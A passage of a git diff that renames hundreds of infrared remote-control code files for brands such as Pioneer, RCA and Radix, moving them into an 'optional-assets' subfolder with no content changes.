Jukebox/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Jukebox/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Laser Disc/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Receiver/165,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/170,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/170,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/TV/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/TV/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-1531/170,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_AXD-7306/166,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CD/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Pragmatic/Router/172,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Pragmatic/Router/172,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proscan/TV/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/TV/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/17,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proton/TV/17,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/17,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proton/TV/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proton/TV/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Proton/TV/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Proton/TV/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Proton/TV/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Quasar/TV/128,0.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Quasar/TV/128,0.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Quasar/TV/128,0.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/DSS/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/DSS/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DSS/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/DVD Player/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/DVD Player/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/TV/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/TV/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/TV/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/TV/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/TV/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/TV/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/TV/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RCA/VCR/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir similarity index 100% rename from 